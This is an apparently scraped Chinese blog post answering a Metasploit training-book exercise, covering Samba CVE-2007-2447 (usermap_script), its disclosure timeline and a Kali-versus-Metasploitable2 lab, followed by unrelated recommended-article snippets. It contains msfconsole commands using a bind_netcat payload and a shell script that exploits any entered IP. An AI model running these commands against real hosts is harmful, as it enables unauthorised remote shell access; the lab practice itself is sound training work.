1,

Samba服务

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,
它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

 usermap_script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。

 当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令

漏洞生命周期图:

2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。

 

可以在kali 上面找到相关信息:

 

samba官网关于此漏洞的相关信息:

https://www.samba.org/samba/security/CVE-2007-2447.html

漏洞相关链接:

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

2,

更新Metasploit,百度

版本信息:

另外在msfconsole控制台输入banner可以查看metasploit的版本和攻击模块数量,以及metasploit的图标,算是彩蛋吧

3,

下载metasploitable2-Linux 在虚拟机里面,我们先让kali 和 linux互相Ping,看网络是否相通

网络相通了之后,按照书上的教程即可使用usermap_script漏洞获取Linux靶机的权限

我们先使用ifconfig查看两台虚拟机的在局域网内的ip地址,然后互ping

对了,linux靶机的账号和密码都是msfadmin,这个在登录的时候其实已经显示出来了

我们将网络都设置成NAT模式,linux靶机有两张网卡,第一张设置成NAT模式,第二张设置成仅主机模式。

先查看kali的ip地址

kali的ip地址为:10.10.10.128

接着我们查看linux靶机的ip地址,

可以看到这里的页面显示不完全,我们看到的只有第二张网卡即仅主机模式的那张网卡的ip地址,我们重定向一下输出,即

ifconfig > test

然后再 more test

可以看到

ip地址为10.10.10.254

两台虚拟机相互ping一下可知是互通的

接着按照书上的教程一样即可

首先使用samba的usermap_script模块

msf5 > use multi/samba/usermap_script

  接着选择攻击载荷:

msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat

  可以查看一下选项设置 show options

可以知道我们要设置攻击的ip地址RHOSTS

set RHOSTS 10.10.10.254

  设置好了之后输入exploit即可

可以看到我们已经获取到了会话

尝试植入VNC图形化远程控制工具,网上没有相关的介绍,想法是传一个木马在linux上运行,获取shell之后在meterpreter界面run vnc开启远程桌面

4,

题目是需要我们使用msfcli命令行接口编写shell脚本程序来进行交互,也就是我们只需要输入目标ip就可以获得目标主机的会话。

这里的小知识点是

控制台选项:

-x,--execute-command COMMAND     执行指定的字符串作为控制台命令(使用;用于multiples)

这样我们只需要指定msfconsole执行我们输入的ip地址就可以了。

所以我们编写如下代码,看大佬的代码写的:

echo "this is a shell code for test CVE-2007-4779"
echo "please input target_ip"
read target_ip
echo "the target ip is $target_ip"
echo "please wait--------" msfconsole -x "use multi/samba/usermap_script;set RHOST $target_ip;set payload cmd/unix/bind_netcat;exploit"

  

短暂等待开启msf之后就可以获取输入目标ip的会话了

Metasploit魔鬼训练营第一章作业的更多相关文章

  1. MSF魔鬼训练营第一章 初识Metasploit

    1.1.4渗透测试过程环节 PTES标准7个阶段 1.前期交互阶段      收集客户需求.准备测试计划.定义测试范围与边界.定义业务目标.项目管理与规划等 2.情报搜集阶段      公开来源信息查 ...

  2. OOP 第一章作业总结

    程序设计结构分析 类图分析 第一次作业 由于第一次作业完成的功能比较简单,而且出于对面向对象设计理念不熟悉(其实现在也不是很熟悉,逃),整个程序设计的非常简单.通过类图(见下)可以看出,程序只有两个类 ...

  3. linux系统管理第一章作业

    上机作业: 1.请用命令查出ifconfig命令程序的绝对路径 [root@localhost ~]# which ifconfig /usr/sbin/ifconfig 2.请用命令展示以下命令哪些 ...

  4. 《Metasploit魔鬼训练营》第一章实践作业

    <Metasploit魔鬼训练营>第一章实践作业 1.搜集Samba服务usermap_script安全漏洞的相关信息,画出该安全漏洞的生命周期图,标注各个重要事件点的日期,并提供详细描述 ...

  5. SQL 第二章 作业

    /*第二章 作业*/ create table S ( sno char(2) NOT NULL UNIQUE, sname char(3), city char(2) ); alter table ...

  6. 第一章ASP.NET SignalR简介

    第一章ASP.NET SignalR简介 1.1概述: ASP.NET SignalR是微软新开发的类库,为的是帮助ASP.NET开发人员很方便地开发实时网络功能. SignalR允许服务器端和客户端 ...

  7. Python开发入门14天集训营-第一章

    python第一章 python变量 变量的作用 存数据 被程序调用和操作 标记数据 声明变量 name = "Ydh" 变量名 = 变量值 变量定义规范: 变量名只能是 字母.数 ...

  8. Java第一周作业

    Java第一周作业 本周作业: 参考<<教材学习指导(http://www.cnblogs.com/rocedu/p/7911138.html)) 学习第一章视频 参考<<使用 ...

  9. Linux第一章第二章学习笔记

    第一章 Linux内核简介 1.1 Unix的历史 它是现存操作系统中最强大最优秀的系统. 设计简洁,在发布时提供原代码. 所有东西都被当做文件对待. Unix的内核和其他相关软件是用C语言编写而成的 ...

随机推荐

  1. Statistical physics approaches to the complex Earth system(相关系统建模理念方法的摘要)

    本文翻译自"Statistical physics approaches to the complex Earth system",其虽然是针对复杂地球系统的统计物理方法的综述,但 ...

  2. CDM 设置 主键自增

    一些朋友在用PD建概念模型时,觉得主键无法设置自增,还需要在生成PDM后,单独再设置一次,很麻烦. 自增主键一般都是整形,int ,long 如果我们在CDM建实体模型时,将自增主键设置为Serial ...

  3. linux_杂记 命令

    1. 查看centos版本号: lsb_release -a 2. 查看mysql服务是否开机启动: http://www.cnblogs.com/panjun-Donet/archive/2010/ ...

  4. nginx&http 第三章 惊群

    惊群:概念就不解释了. 直接说正题:惊群问题一般出现在那些web服务器上,Linux系统有个经典的accept惊群问题,这个问题现在已经在内核曾经得以解决,具体来讲就是当有新的连接进入到accept队 ...

  5. netfilter内核态与用户态 通信 之 sockopt

    用户态与内核态交互通信的方法不止一种,sockopt是比较方便的一个,写法也简单.缺点就是使用 copy_from_user()/copy_to_user()完成内核和用户的通信, 效率其实不高, 多 ...

  6. golang 简单工厂模式

    package kit //golang简单工厂模式 //go 语言没有构造函数一说,所以一般会定义NewXXX函数来初始化相关类. NewXXX 函数返回接口时就是简单工厂模式,也就是说Golang ...

  7. wireguard使用

    1.编译与安装 sudo apt-get install libmnl-dev libelf-dev linux-headers-$(uname -r) build-essential pkg-con ...

  8. redis-server文件启动cmd一闪而过

    工作上需要在本地装redis,所以就帮别人排查了一个问题,就是redis服务双击了之后不能起来,就是一个黑色的cmd框一闪而过,正常的是这样的: 然而,我当时第一次接触windows上的redis服务 ...

  9. 一文看懂Java序列化之serialVersionUID

    serialVersionUID适用于Java的序列化机制.简单来说,Java的序列化机制是通过判断类的serialVersionUID来验证版本一致性的.在进行反序列化时,JVM会把传来的字节流中的 ...

  10. 增量式爬虫 Scrapy-Rredis 详解及案例

    1.创建scrapy项目命令 scrapy startproject myproject 2.在项目中创建一个新的spider文件命令: scrapy genspider mydomain mydom ...